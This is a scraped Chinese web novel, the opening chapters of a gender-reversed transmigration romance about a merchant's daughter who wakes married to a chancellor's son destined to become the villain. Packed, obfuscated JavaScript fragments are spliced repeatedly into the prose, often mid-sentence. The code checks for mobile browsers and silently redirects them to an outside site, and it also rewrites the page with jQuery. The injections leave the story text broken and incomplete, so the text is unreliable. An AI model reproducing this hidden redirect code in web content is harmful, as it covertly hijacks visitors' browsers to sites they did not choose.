《拯救那个反派(女尊)》 1. 第一章 第一章 凛冬腊月,屋外大雪纷飞。 屋内炭火旺盛,一片暖意,地上散落一地的大红衣物,昭示着昨晚的疯狂。 宋瑶幽幽转醒,只觉怀中一片温软如玉,低头一看,却被怀中人的绝世容颜惊到,她从没见过如此好看的人,就连现代那些明星也不及怀中人的十分之一。 现代。 明星。 宋瑶眼中闪过一丝茫然,她轻轻皱了皱眉,脑海中一片空白,什么都想不起来。 她没有强迫自己去想,目光又落在怀中美人身上,可惜那莹白如玉的身子上布满红痕,美人脸上还有泪痕。 一看就是她干的。 虽然还搞不明白目前发生了什么事,但宋瑶还是在心里骂自己禽兽不如。 宋瑶捕捉到美人如鸦羽般的睫毛颤了颤,接着他身子一僵,应该是醒了的,就是不愿醒。 果然是勉强的。 宋瑶也不拆穿他,轻轻抽出胳膊,下了床,还给他掖了掖被子。既然他想装睡,就依他。 她离开的时候,陆润之立刻松了一口气。 宋瑶凭着记忆,打算自己穿衣服,忽然听到身后一阵窸窸窣窣的声音,回头一看,美人已经裹着被子坐起来,乌黑的长发披散肩头,更衬得他苍白的容颜透着一丝精美的破碎感。 “怎么起来了?”宋瑶惊讶地问。 陆润之捏着被子,指节泛白,垂眸,声音淡淡,透着沙哑,“……润之服侍妻君穿衣,还要给婆婆公公请安。” 他应当是不想同她讲话的,说话句句透着疏离客套,脸上未干的泪痕,想必是极其不情愿嫁她,但却将礼节做的纹丝不漏,应当是大家公子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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得益于丞相从小教导,公子一身傲骨,无论遇到什么事情,都不会露出脆弱的一面,永远站的笔直,不会丢丞相的脸面。 陆润之穿戴整齐,看着镜子中已嫁作她人夫的自己,眼底划过一丝茫然,但很快被他掩去。 他握了握紧手指,起身,“走吧。” 外面还下着雪,寒风刺骨,公子从小身体不好,体质弱,尤其冬天怕着凉,青连不忍他冒如此风雪去请安,“公子,要不晚些再去吧,现在风雪正大,而且姑娘也说了今日不必请安。” 青连虽嘴上如此说着,但其实心中很不屑,那商人凭什么受得公子如此大礼。 陆润之抬眼,视线轻轻落在他身上,极淡的视线却透着一股不容置喙的压迫感,不怒自威,像极了丞相大人。 清连头皮发麻,微微俯身,“公子恕罪,是奴多嘴。”说着他拿了披风披在陆润之肩上,又拿出暖气抄跟手炉递给他。 陆润之拒绝,“这些就算了。” 清连:“公子,现在不是在家中,夫人她管不了了。”再说男子娇气一点怎么了,公子本就身体不好。 人都说男孩子是要被捧在手心里长大的,也不知丞相从小为何对公子这么严格。 陆润之摇头,拢了拢披风,掀开门帘往外走。 清连忙跟上,为他撑伞。 雪花簌簌落下,京城的冬天一如既往地冷。 清连顶着风雪为公子撑伞,哪怕已经穿上最厚的过冬装备,依旧觉得刺骨的冷,他忍不住缩了缩脖子,看着身姿依旧挺拔的公子,清连佩服又心疼,明明公子比他还还怕冷。 昨日进府只觉得宋家极其气派,比丞相府还大,以后应该不会亏待公子,此时却恨不得这府小一点,让公子少挨冻。 清连正想着,一抬头,便看到宋家粗妇迎面走来,穿的一身雪白襦裙,身上披的那貂皮大氅,他只在太女殿下身上见过,更令人惊讶的是,她一个女子,竟然抱着男子家用的暖手抄和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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如果真是这样,那跟公子还是挺般配的。 请连回过神来,被自己的想法吓了一跳,连忙摇了摇头,他怎么可以这么想,那粗妇也配,不学无术,大字不识一个,也配跟公子相提并论,肯定是装的,狐狸尾巴迟早会露出来! 宋瑶护着陆润之往前走,时刻注意着脚下,仿佛是潜意识的动作,她好像做过无数次一样,似乎她就该这么照顾美人。 她现在的记忆一片空白,她是宋瑶,但却不是这个女尊世界里腰缠万贯的宋瑶,她好像来自另外一个世界,具体的她又想不起来。 但她应该挺富有的,因为她对这富丽堂皇的府邸,以及奢侈的吃食很适应,再者她应该很会照顾人。 再多的,她就不记得了。 “注意脚下。”正愣神期间,身旁传来一阵淡淡的提醒。 宋瑶微微低头,避开石头,侧目望去,便看到陆润之完美无缺的侧颜。 世上怎么会有这么好看的人。 哦,对,再补充一下,她应该很会照顾好看的人。 陆润之似乎对她的视线毫不在意,他淡漠的情绪宛如死水一般。 啧,小小年纪,老气成成。 宋瑶忽然生出了些逗他的心思,便扯了扯他的衣角。 陆润之抬头望她,睫毛很长,瞳孔漆黑跟黑曜石一样,扣在他头上的帽子,白色的绒毛更衬得他眉眼如墨画。 宋瑶换了只手撑伞,将那只冻的僵硬的手伸在他面前,手背通红。 “冷。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419502|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>目睹一切的请连微微睁大眼睛。 这个女人,她好不要脸! 活该她娶不到夫郎! 陆润之瞧了一眼,眸光微微波动,抿了抿唇,将右手从温暖的暖手抄中掏出来正准备去接她手中的伞柄,谁料她伸出手的手微微一抬,贴在了他温热的脸颊上。 冰块般的触感,一触即离。 “下次出来多穿点,不然挨冻的就是你了。” 陆润之微微一愣,方才明白她是在逗他。轻飘飘扫了她一眼,淡淡道:“妻君如今尚未戴金簪?”言下之意你幼不幼稚。 宋瑶不懂他为何这样问,但根据他的眼神大致猜测,坦然笑道:“你是在说我幼稚吗?” 陆润之接过她手中的伞,反问:“妻君觉得呢?” 他淡淡说完,自顾自往前走,将宋瑶独自留在风雪中,青连见状,忙将自己的伞塞给宋瑶,“白丁……不是,妻君,伞给你。”接着追上去,“公子,等等我!” 宋瑶:“……” 她这是被鄙视文盲了? 4. 第四章 两人来到正院,宋瑶早已打发贴身侍女告知宋琼与李容,此时他们二人早已在门口等着,神色有些惶恐。 那可是丞相大人的公子啊,他们老宋家何德何能,能娶到才高八斗的丞相大人的掌上明珠做儿婿,他们做梦都不敢这样想。 当今天下,本就重农轻商,二老心中也清楚,他们那女儿除了一副皮囊之外,一无是处,如果不是……陆润之肯定不会嫁进来,本就是八竿子打不着的事,如今…… 唉,如果可以重来,宋琼跟李宋更希望自己女儿娶一寻常家的儿郎。 罢了罢了,事到如今,也是她们老宋家对不起人清清白白的公子,以后只有好好补偿他了。 宋瑶与陆润之一同进来。 宋琼与李容是第一次见到陆润之,只觉得惊为天人,而后又觉得他气质出尘,不怒自威,令他们这种市井小民忍不住想要下跪,这让他们想起一些坊间传闻,陆润之本就是作为太女的正君,未来君后培养的。 宋琼跟李容想都没想,几乎是下意识的屈膝想要行礼。 陆润之给青连使了一个眼色,青连忙过去扶着宋琼跟李容坐下。 宋瑶在旁边看着,挑了挑眉。 陆润之先微微俯身,给宋琼行了个请安里,又给二老奉茶,他神色淡淡,一番礼节做的更是漫不经心,却让人挑不出毛病。 倒是宋琼跟李容受着陆润之如此大礼,紧张地手脚都不知道往哪里放,坐立难安,仿佛椅子上长了刺一样,更是在陆润之敬茶的时候差点儿没拿稳。 宋琼硬着头皮说了几句体恤话,李容这个做公公立刻奉上老宋家历代留给儿婿的传家宝,好在陆润之很给面子地戴上了。 最后二老又恭恭敬敬地将人送走,仿佛今日不是儿婿见婆公,而是婆公见儿婿。 宋瑶在一旁看着自己亲爹亲娘这副惶恐的模样,等陆润之走后,捻了一颗花生扔进嘴里,不由得笑话她们,“瞧你们二人这出息的模样。” 她向来没大没小惯了,宋琼瞪了她一眼,“瞧你这坐没坐相,站没站相的样子,如今也成家了,该好好收心读书了。” 她们老宋家世代经商,如今已富甲一方,只求儿孙能够考个功名,光宗耀祖。 宋瑶敷衍着应了,其实她对读书没什么兴趣,倒觉得做生意有趣。 她好像做生意还挺好的。 宋琼戳了一下她脑门,“你啊,真是吃了熊心豹子胆,什么人都敢招!” 从另一方面说,她女儿也是真的勇,对着陆润之那气场,也敢上去…… 宋琼自愧不如,果然色胆包天,不是没有道理的。 宋瑶被自己母亲父亲轮番耳提面命,最后终于被打发去陪自己的新婚夫郎。 今日这雪恐怕要下一天,外面冰天雪地,左右也不能去哪儿,不如看美人来得自在。 回到院中,陆润之却不在,只有那个看她鼻子不是鼻子,眼睛不是眼睛的小侍。 “你们家公子呢?” 青连懒得她,又不得不回答,“公子在书房。” 宋瑶靠在炕上,“那你怎么不去陪着?” 青连:“公子一向不喜别人伺候。” 宋瑶点头,觉得不大舒服,又给自己垫了金丝软枕,调整了姿势,随手拿了个果子,舒服地眯了眯眼,接着她扫到小桌上的一本书,蓝色封皮,上面两个大字。 ……她不认得。 宋瑶不愿接受自己是个大字不识的文盲,又翻了翻。 好吧,她真是文盲。 一声憋不住的轻笑传来,宋瑶视线扫过去。 青连忙绷住脸色,再怎么说宋瑶也是主子。 宋瑶却没在意,将书扔下,问他,“你读过此书?” 青连一脸骄傲,“当然读过。”补了句,“还是公子教我读的。” 宋瑶啃了口果子,“那你说说这本书主要讲的什么。” 青连懒得与这个白丁探讨知识,说了她也不懂。 宋瑶:“不说就是没读懂。” 青连当即炸毛,“你才没读懂。” 接着就长篇大论地介绍了这本书的作者生平,以及这本书传达的核心思想——男子守男德,最后又深情讴歌了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419503|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍本书作者。 看来他真的是读懂了,并且深深崇敬着。 宋瑶扔下书,不以为意,“什么玩意儿。” 青连瞧她这么轻蔑的模样,顿时觉得天下男子视为典范的圣典被这个目不识字的白丁侮辱了,他忍了忍,没忍住,“此等经典大作岂是你这种女子可以评论的。” 宋瑶笑了笑,扣了扣书皮,“按照你说的,这老夫子提倡男子谨言慎行,遵守三从四德,不可忤逆妻主,方为男子典范。” 青连昂了昂头,“自然,做一个贤淑的夫郎是每个男子毕生追求。” 宋瑶却听笑了,似乎听到了什么好笑的笑话。 青连看着她的笑容一愣,随即恼怒,“你笑什么!” 宋瑶眉眼弯弯,“那既是这老夫子提出来的主张,他为何自己不遵从,按照你说的他在女子为尊的社会在朝为官,抛头露面,岂不是不守男德。” 青连嗫嚅道:“这是因为……因为……” 宋瑶笑道:“因为这老夫子打着为天下男子好的旗头,写这书实则为了讨好女子。” 青连睁大眼睛,大为惊骇,“你怎么可以这么说!” 一方面所有女子都会夸《男戒》好,另一方面他震惊于宋瑶如此惊世骇俗的话,她眼中的不屑跟公子年幼时第一次读完《男戒》时如出一辙。 宋瑶摇摇头,觉得无趣,将这书扔到一边,别耽误她嗑瓜子。 “公子。” 宋瑶抬眼望去,正是他那位貌美夫郎,也不知他什么时候在的,披肩上的雪都化了,青连正帮他打理,嘴里还抱怨着,“公子回来了怎么不叫我,雪化都在身上了,很冷吧。” 陆润之:“无事。” 脱下大氅,宋瑶注意到父亲给他的传家玉镯已经不在他手腕上了,并不是什么名贵的玉镯,只是象征宋家儿婿身份。 宋瑶收回视线,见陆润之过来,随手将自己剥的瓜子让他那边推了推了,“吃吗?” 陆润之的视线落在宋瑶身上。 宋瑶只觉得他目光莫测,可不如他那小侍单纯好懂好糊弄。 5. 第五章 第五章 宋瑶本以为陆润之会与她理论一番,毕竟他可是京城有名的,满腹经纶的男德典范,对于她这么侮辱天下男子的典范,一定非常生气。 说不定还会跟她辩论一番,直到她认错。 如果真到这种地步,她道个歉也未尝不可,谁让她占了人家便宜呢,让一让也无妨。 宋瑶心想。 谁知陆润之只淡淡看了她一眼,然后捻了一颗她剥的瓜子仁放进口中,大家公子吃东西嘴唇都仿佛不曾动过。 宋瑶:“好吃吗?” 陆润之给予评价,“尚可。” 宋瑶点头:“我也觉得。” 陆润之拿了两本书,一本递给她。 宋瑶不明所以,思索片刻又恍然大悟,这是听了爹爹的话,来劝学的。 可真令人头大。 一时间,两人无言,窗外大雪纷飞,屋内炭火旺盛,暖和的很。 陆润之拿着一本书坐在宋瑶对面,相比于她的懒散,他脊背挺直,端的是一副认真的姿态。 宋瑶扫了一眼,顿时头疼,那书上的字体密密麻麻,也不知道他怎么看的下去,她的那本儿早就不知扔哪儿去了。 索性他也没管她。大底是不抱任何希望,懒得管她。 渐渐的,她的目光落在他执书的手上,那双手十指莹润修长,那泛黄的书在他手里也变得好看起来。 这人长得,连每一根头发丝儿都可以用完美形容。 宋瑶就这么直勾勾地盯着人看,像是在欣赏绝世珍品,然后这副模样落在青连眼中,就是明目张胆地好色。 真是纨绔子弟!大白天的就这么……不像话!青连在心里吐槽了一句。 倒是当事人没什么反应,沉浸在书籍中,自动屏蔽外界一切。 约莫过了半个时辰,宋瑶伸了个懒腰,满足地眯起眼睛,嗑瓜子看美人,有大把的时间可以浪费,她好像好久没这么轻松自在过了! 脑海里这个念头闪过,宋瑶推测自己来这儿之前一定是个大忙人。 青连适时端了两杯茶过来。 陆润之浅浅尝了一口,微微蹙眉,便不再碰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419504|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刚好宋瑶嗑瓜子口渴,浅尝一口,点评道:“茶是好茶,只不过有些煮过了。” 青连不服气,什么煮过了,明明是自己没品位,粗妇一个,还懂得品茶呢。 宋瑶瞧着他的神色就知道他不信,左右她现在没事,就且试一试,煮茶这事儿,她应该挺擅长的。 于是招呼青连将茶具拿来,准备露一手。 青连给她准备好茶具在隔间,本打算看她笑话,谁料这粗妇的动作十分娴熟,如行云流水一般,每一个动作都十分讲究。 雾气氤氲,茶香四溢,宋瑶倒了三杯茶,一份递给青连,笑道:“尝尝。” 她是个俗人,偶尔附庸风雅,应该就这一件事了。 青连目露怀疑,小心翼翼尝了一下,好茶!这才是火候刚好。 宋瑶又给陆润之端了一杯。 陆润之沉浸看书,以为是青连,便道:“先放那儿吧。” 宋瑶:“郎君嘴唇都干了,喝点茶休息一会儿吧。” 陆润之抬头,就看到眉目明朗的女子笑意盈盈地看着他。 6. 第六章 第六章 陆润之放下手中的书卷,接过宋瑶递过来的茶,面上挂上一个得体的笑容,“劳烦妻君。” 他眼中没有丝毫波澜,仿佛对于女子的殷勤习以为常,作为京城才貌双全的男子,他自然是习惯了女子的痴迷的眼神与殷勤的行为,所以在他眼中,宋瑶与其她献殷勤的女子并无二致。 陆润之尝了一口,微微笑着,赞了一句,“好茶。” 也仅此而已。 宋瑶重新坐在他对面,看着他看书,觉得无聊又闲适,这这么无聊地消耗时间似乎也是一种享受。 对面的人看书很认真。 而她宁愿闲着发呆,也不愿意那枯燥无味的书。 “你在看什么书?”宋瑶忍不住问。 她实在太无聊了,忍不住搭话。 闻言,陆润之看了她一眼,将封皮两个大字给宋瑶看。 正是那本《男戒》 宋瑶托腮:“哦。”这书倒不如不读。 她默默心想,倒没有当面说出来,跟青连还能辨一辫,跟这位还是算了吧,观念不同,还是要尊重一下。 陆润之收回视线,忽地顿住,欲言又止,似乎在犹豫什么。 宋瑶一直盯着他,自然将他的犹豫收入眼底,直言道:“怎么了?” 陆润之似乎担心她不同意,很犹豫,“我以后可不可以……每天用一下你的书房?” 就这点小事。宋瑶想了想,“算了吧,毕竟是我的书房。” 陆润之抿了抿唇,似乎早有预料,没说话。 宋瑶又道:“干脆重新辟一间出来给你当书房,我瞧着隔壁的隔壁那间屋子就挺不错的……” 陆润之愣了,似乎有点不敢相信,“真的可以吗?母亲那边会不会不同意?” 宋瑶奇怪道:“为什么不同意,一间书房而已。与其用我的,不如辟一间自己的,你想怎么用就怎么用,也随性自在。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419505|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆润之愣愣的,他可以分辨出别人献殷勤跟内心真实的想法,宋瑶此时说的很自然,仿佛理所当然的一件小事,丝毫没有讨好的意味。 见他不说话,宋采采才意识到这个时代倡导男子无才便是德,想进书房都得征得妻主的同意,当真心酸,于是她又道:“若你怕母亲不同意,我去跟母亲说。” 陆润之垂眸,半响轻轻地说:“谢谢。”语气轻轻的,却又十分郑重。 他从小做梦都希望有一间自己的书房,在里面他可以无拘无束,光明正大地读书。 宋瑶本觉得是一件小事,没什么谢不谢的,但他忽然这么郑重,她又想逗逗他,笑道:“怎么谢?” 陆润之惊讶地微微睁大眼睛,似乎完全没料到她会问他要谢礼,毕竟她刚刚的语气如此风轻云淡,同时他又有莫名地些失落,“你想我怎么谢?” 宋瑶从桌案底下摸出一盒棋子,眼睛亮晶晶的,“太无聊了,要不你教我下棋吧。” 7. 第七章 陆润之没想到她的要求这么简单。 教她下棋就可以换来一间书房,这是他从未想过的事情。 他几乎是立刻应下了,生怕她下一刻便会反悔似的,素白的手执起黑子,询问她,“现在便开始?” 宋瑶不动声色瞥了他一眼,笑着应,“可以。” 陆润之本以为宋瑶不学无术,脑袋空空,已经做好了耐心教导稚子的准备,却没想到她才思敏捷,一点即透,还能举一反三,很快就摸清下棋的路数,能够和他对弈。 连输三盘以后,宋瑶撂下棋子,“不玩了。” 陆润之一顿,目光落在她面上。 宋瑶摸了摸空空如也肚子,“是不是中午了?我有些饿了。” 陆润之:“是该用膳了。” 于是他招呼青连,两人在自己院子里用餐。 宋瑶看到他一举一动处处透露着大家公子的优雅风范,心道不愧出身名门。 用完午餐后,宋瑶便有些犯困,这会儿还在下雪,正适合睡觉,她决定不勉强自己,跟陆润之打了个招呼,钻到床上,倒头就睡。 陆润之依旧在读书。 倒是青连,暗暗翻了个白眼,心道果真跟头猪一样,吃完睡,睡完吃,没有一点女儿家的抱负。 宋瑶做了一个梦。 她想起了一切。 她本名也叫宋瑶,是游走于名利场的一名商人,权色美酒美人,逍遥自在。 不过现在她穿书了,穿到一本古代女尊小说中,成了这个世界的一名炮灰,而她的夫郎陆润之则是书中最大的反派。 他本来该成为太女殿下的黄夫,将来父仪天下,没曾想意外被原主轻薄,只能下嫁草包宋瑶,宋瑶抱得美人归,却看不上他高高在上的姿态,陆润之在宋家受尽侮辱。 这些尚且可以忍耐,真正令他心灰意冷的是太女继承皇位以后,对陆家赶尽杀绝,只因陆润之当初的“背叛”。 陆润之彻底黑化,一夜之间毒死宋家满门,男扮女装,进入朝堂,步步为营,将女皇拉下皇位,为陆家含冤昭雪,成为第一个登上皇位的男子。 如果不是皇太女主角光环太过强大,根本不是陆润之的对手。 宋瑶一觉醒来,回味了一下梦中的情景,实在看不出来现在光风霁月的小公子以后会是心狠手辣的大反派。 既然她来了,自然也不会虐待他。 不过她向来讨厌虚伪的官场,虽然她也是一名虚伪的商人。所以她不愿卷进未来的权势斗争。 两人不是一路人,他志存高远,等时机到了,她放他走便是,至于未来如何,就与她无关。 不过作为宋瑶的补偿,她会助他保陆家平安。 宋家他定是动不得。 外面雪已经停了,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋瑶心下一转,就明白工匠是何意,只淡笑了笑,没接她的话,道:“师傅抓紧点,务必今天赶出来。” 女工匠见她神色淡淡,知自己说错了话,也不敢再造次,“唉”了一声,手上动作却加快了。 房间内,青连微微掀开厚厚的门帘,好奇地瞅着忙碌的一群人,心道这莽妇还真有点心机,都知道讨好公子了。 青连放下门帘,给陆润之添了杯热茶,“公子,歇歇眼睛吧。” 陆润之翻了一页书,摆摆手。 青连叹了一口气,若是男子可以参加科考,按照公子的天赋和努力程度,一定可以高中状元,这一认真起来不吃不喝。 可惜公子是男子。 唉。 青连劝道:“公子,歇一歇吧,书房正在布置,公子要去看一眼吗?” 闻言,陆润之这才放下书,顿了一下,觉得脖颈有些僵硬,才道:“那就去看看吧。” 青连神色一喜,忙去扶他,为他掀开门帘。 刚出门,一阵凛冽的寒风袭来,青连忍不住打了个寒颤,这才想起忘记给公子拿披风,便要回去拿。 陆润之阻止了他,“不必。” 远远看到宋瑶站在屋檐下朝他们招手,她指了指手中的画纸,示意陆润之过来,然后看到他没有披风,又指了指自己身上的狐裘,示意他穿上。 她的举动阻止了陆润之踏入寒风中的脚步,青连忙拿了披风给他系上,这才过去。 工匠不经意看到徐徐走来的陆润之,惊为天人,气质高贵比这皑皑白雪更为逼人,不愧是光风霁月陆丞相之子,她们这些凡夫俗子完全不配站在他身边。 陆润之走到门口,工匠们停下手中的活儿,行了一礼。 宋瑶迎上去,自然地走到他身边,笑道:“你来了,刚好也布置的差不多,你看还需要添置些什么吗?” 工匠们暗暗瞧着,这才惊觉。这传说中的宋家女竟然在丞相公子面前也不卑不亢,气质竟然丝毫不输? 陆润之环顾一周。 宋瑶:“我觉得这墙壁可以挂几副字画,你觉得呢?” 陆润之点点头,“可。” 宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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青连在他们二人离开以后,拿起刚刚那画卷,这可是皇太女亲手画给公子的,这么扔了实在令人舍不得,可公子刚刚的意思就是让他处理了。 青连纠结半响,偷偷把画藏起来。 忙活了一下午,终于有个书房的模样了,宋瑶对自己的劳动成果十分满意,心情也好了几分,“就差书了,你自己喜欢看什么就买什么。” 陆润之点头,客气地道了一声谢。 两人看着一点也不像新婚夫妻。 宋瑶早已饥肠辘辘,两人一起吃过晚饭,她给母亲父亲请安,又免不了被教训一番。 宋母:“你现在已经成家了,该收收心,好好温习功课了,家里生意不指望你,你想读书就好好读出个名堂来,别让你夫郎瞧低了去。” 宋瑶眼珠子一转,“我不想读书了。” 宋母一愣,立刻竖眉,“你个小兔崽子,不读书你想干嘛,生意你又不想做,难不成打算一辈子混吃等死吗?” “我突然发现我不是读书的料,我还是想跟着娘亲做生意。”宋瑶笑嘻嘻地贴过去。 宋母狐疑地盯着她,“你认真的?” 宋瑶倒没有立刻发誓,她现在说话可信度太低,只道:“认不认真,娘亲你看我的表现呗,娘亲,你明天去谈生意带着我吧。” 宋瑶磨破了嘴皮子,宋母总算答应了她,不过心里还是有几分不信,只当她又是三分钟热度。 宋瑶目的达到,就回到了自己院子。 陆润之在挑灯夜读,宋瑶过去随口问了一句,“在看什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419508|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆润之顿都没顿,“男戒。” 宋瑶这才抬眼看他。 陆润之不为所动。 宋瑶忽然伸手抽走他轻握着的书本。 陆润之眸光一紧,接着又恢复平静。 宋瑶知他这是料定她不识字了,轻笑了一下,念出来其中一句话,“故为国为家者苟能审于才德之分而知所先后……” 陆润之一愣,目光紧紧锁定她,嘴唇轻抿,带着一丝严肃。 宋瑶将书合上,还给他,吊儿郎当道:“别紧张,每个人都有秘密,我对你在读什么不感兴趣,你随便读。”顿了一下,“考虑到未来我们还要相处这么久,我只是希望我们彼此不要这么累。” 陆润之神色已经恢复了淡然,似乎不懂她在说什么,“你什么意思?我只是随便看看两本书罢了。” 宋瑶瞅着他藏得极深的神情,“啧”了一声,屈指扣了扣桌面,“谈谈。” 陆润之直了直身子,理了理宽大袖摆,眸光这才落向宋瑶,“谈什么。” 10. 第十章 陆润之下意识地坐直身体,或许是出于从小的教养,宋瑶有点喜欢他身上不经意流露出的贵气。 谈什么。 宋瑶在心里斟酌着如何说,总不能上来就说我对你没有意思,我知道你对我也没有意思,所以咱们平常就井水不犯河水,我可以帮你打掩护,到时候你升官发财了,别来找我宋家拿到就成。 这似乎有点不妥。 宋瑶在斟酌的时候,陆润之也在打量着她。 宋瑶这一天的表现实在太过有有风度,看向他的眼中再也没有昨晚以前的痴迷,但又对他极好。 她还是她,却改变很多,虽不知道为什么,但却不免为一桩好事。 而且他已经猜到她想说什么了。 陆润之先道:“你有什么直说便是。” 他依旧直呼“你”,当朝律法对男子要求极为苛刻要求男子成婚以后,必须对妻主使用敬称。 宋瑶瞧着他面上一派云淡风轻,才反应过来,这人有七窍玲珑心思,又不是那般心思敏感之人,怎么说在他听来都一样。 人家都这么说了,她干脆直说算了。 “之前是我对不住你,很抱歉。” 陆润之却摇摇头,“是你救了我。” 他果真与她想的一般光风霁月。 宋瑶面上露出一抹笑容,心中轻松不少,她喜欢与聪明人打交道,“每个人都有小秘密,你我既已成亲,那我们就慢慢处着,你也知道我出身商贾,对那些繁文缛节一窍不通,也不在乎一些有的没的,咱们就彼此尊重,你觉得如何?” 就是说我跟以前很不一样,我也知道你想干什么,但我不在乎,咱们就互相保密,凑活着过吧。 还有一点宋瑶没有提出来的是,若你以后寻得良人,她可以放他离开,但这事儿现在说出来不妥,毕竟刚要了人家身子,等以后合适时机再提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419509|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不迟。 陆润之在她说完,顿了一下,“可以。” 宋瑶满意地点了点头。 陆润之朝他伸手,“可以把书还给我了吗?” 宋瑶挑眉。 陆润之盯着她,“你刚刚说的,互相尊重。” 宋瑶将书推给了他,调侃道:“你可真是个勤奋的好学生,我先睡了,你也早点睡。” 宋瑶打了个哈欠,脱掉外衣,踢掉鞋子,滚上了床,明天还得早起。 迷迷糊糊睡了一觉,睁开眼睛,那出的灯光还亮着,衬得灯下的人影愈发出尘。 “还不睡吗?” 宋瑶困得紧,脑袋里依稀闪过一个念头,嘟囔道:“还是你想分房睡?今天我给忘了,已经很晚了,天又冷,快睡吧。我保证不碰你。” 说完以后,不知道有没有回应,她又睡了过去,半梦半醒之间,一股凉意袭来,冷得她往床里滚了滚。 11. 第十一章 因心里惦记着事,一早宋瑶就醒来了,起床时并未惊动旁边的人,顺手便帮他掖了掖被子。 宋瑶速速收拾整齐,便去主院找自己娘亲蹭早餐去了,她过去时尚早,宋琼刚起,于是便等了一会儿,跟下使招呼一声多备一份她的早饭。 宋琼出来看到她时很是惊讶,“没想到你竟然起了。” 早知道她这个女儿日常可是睡到日上三竿才起。 